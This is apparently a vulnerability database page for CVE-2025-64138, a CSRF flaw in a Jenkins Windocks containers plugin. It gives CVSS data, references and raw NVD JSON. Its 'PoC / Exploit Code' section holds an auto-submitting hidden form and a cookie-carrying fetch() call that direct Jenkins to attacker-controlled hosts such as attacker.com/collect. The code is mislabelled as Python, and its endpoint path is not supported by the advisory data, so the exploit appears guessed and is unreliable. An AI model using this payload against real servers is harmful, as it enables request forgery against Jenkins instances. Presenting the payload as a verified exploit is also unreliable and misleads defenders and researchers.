CVE-2025-64138

Description

A cross-site request forgery (CSRF) vulnerability in Jenkins Start Windocks Containers Plugin 1.4 and earlier allows attackers to connect to an attacker-specified URL.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:start_windocks_container:*:*:*:*:*:jenkins:*:* - VULNERABLE

Jenkins Start Windocks Containers Plugin <= 1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-64138 -->
<!-- This PoC demonstrates how an attacker can trigger Jenkins Start Windocks Containers Plugin -->
<!-- to connect to an attacker-controlled URL via CSRF attack -->

<!DOCTYPE html>
<html>
<head>
    <title>Jenkins Plugin CSRF Test</title>
</head>
<body>
    <h1>Jenkins Start Windocks Containers Plugin CSRF Vulnerability</h1>
    <p>This page demonstrates CVE-2025-64138</p>
    
    <!-- Auto-submit form to trigger the vulnerable endpoint -->
    <form id="csrfForm" action="http://target-jenkins:8080/plugin/startWindocksContainers/connect" 
          method="POST" style="display:none;">
        <!-- Attacker's controlled URL -->
        <input type="hidden" name="url" value="http://attacker-controlled-server.com/malicious-endpoint" />
        <input type="hidden" name="containerName" value="windocks-test" />
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.addEventListener('DOMContentLoaded', function() {
            console.log('CSRF PoC: Submitting request to Jenkins...');
            document.getElementById('csrfForm').submit();
        });
    </script>
    
    <p>If successful, Jenkins will connect to the attacker-specified URL.</p>
</body>
</html>

<!-- Alternative: Using fetch API for more stealthy attack -->
<script>
    fetch('http://target-jenkins:8080/plugin/startWindocksContainers/connect', {
        method: 'POST',
        credentials: 'include',  // Include session cookies
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: 'url=http://attacker.com/collect&containerName=test'
    });
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64138
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64138
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64138/
[4] VulDB https://vuldb.com/cve/CVE-2025-64138
[5] https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3531
[6] http://www.openwall.com/lists/oss-security/2025/10/29/2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64138", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:58.237", "lastModified": "2025-11-04T22:16:40.270", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site request forgery (CSRF) vulnerability in Jenkins Start Windocks Containers Plugin 1.4 and earlier allows attackers to connect to an attacker-specified URL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:start_windocks_container:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "1.4", "matchCriteriaId": "437431B8-691D-4DE8-8F3E-409BA371ADF6"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3531", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}